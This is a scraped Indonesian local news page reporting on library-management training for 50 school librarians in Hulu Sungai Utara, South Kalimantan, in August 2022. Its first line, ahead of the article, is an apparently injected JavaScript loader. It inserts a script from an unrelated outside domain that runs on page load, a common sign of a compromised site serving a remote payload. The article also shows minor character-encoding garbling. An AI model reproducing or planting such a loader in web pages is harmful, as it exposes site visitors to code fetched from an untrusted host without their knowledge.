(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 50 pengelola perpustakaan di Kabupaten Hulu Sungai Utara (HSU) diberikan pembinaan oleh Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan, dalam program peningkatkan indeks literasi di kabupaten/kota.
Adapun 50 orang pengelola perpustakaan tersebut terdiri dari guru/relawan pustakawan dari berbagai sekolah yang ada di Kabupaten HSU.
Wildan Akhyar, Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel mengatakan, pembinaan ini dilaksanakan untuk memperkuat kapasitas pengelolaan perpustakaan di kabupaten/kota.
“Hal ini kita lakukan agar bisa menggali informasi yang diperlukan dalam konteks pengelolaan perpustakaan di era yang sudah semakin maju ini,” terang Wildan Ahyar saat membuka sosialisasi pembinaan perpustakaan, Senin (15/8/2022) di Aula Dispersip HSU.
Baca juga :Â Wahid Hanya Divonis Suap Bukan Gratifikasi, Begini Kata Kuasa Hukum
Ia menambahkan, dalam Undang-Undang nomor 43 tahun 2007 tentang perpustakaan disebutkan bahwa Pemerintah Daerah dalam hal ini Dinas Perputakaan dan Kearsipan Provinsi Kalsel berwenang mengatur, mengawasi dan mengevaluasi penyelenggaraan dan pengelolaan perpustakaan di wilayah masing-masing.
“Kegiatan pembinaan ini bertujuan untuk meningkatkan mutu penyelenggaraan perpustakaan yang diarahkan kepada standar nasional perpustakaan yang meliput yaitu standar koleksi perpustakaan, standar sarana dan prasarana, standar pelayanan perpustakaan, standar tenaga perpustakaan, standar peyelenggaraan dan standar pengelolaan,†imbuh Wildan Akhyar.
Dirinya berharap seluruh perpustakaan yang ada di Kabupaten/kota se Kalsel nantinya bisa terakreditasi dengan nilai yang maksimal.
Sementara, Kepala Dispersip HSU Lailatannor Raudah menyambut positif program pembinaan Perpustakaan yang dilakukan Dispersip Prov Kalsel ini.
Baca juga :Â PLN Manfaatkan Abu Batu Bara PLTU Pulang Pisau Sebagai Bahan Konstruksi Jalan
“Untuk HSU baru 19 perpustakaan yang sudah ter akreditasi, dan Untuk Perpustakaan Daerah Alhamdulillah dengan nilai A, dan untuk Perpustakaan SLTA, SLTP, SD dan juga perpustakaan desa sudah mempunyai nilai B dan juga C,” kata Lailatannor Raudah.
“Untuk kedepannya kita sudah mengusulkan 10 calon perpustakaan untuk mengikuti akreditasi, dikarenakan untuk akreditasi pertama dibiayai langsung oleh perpustakaan nasional,” pungkasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.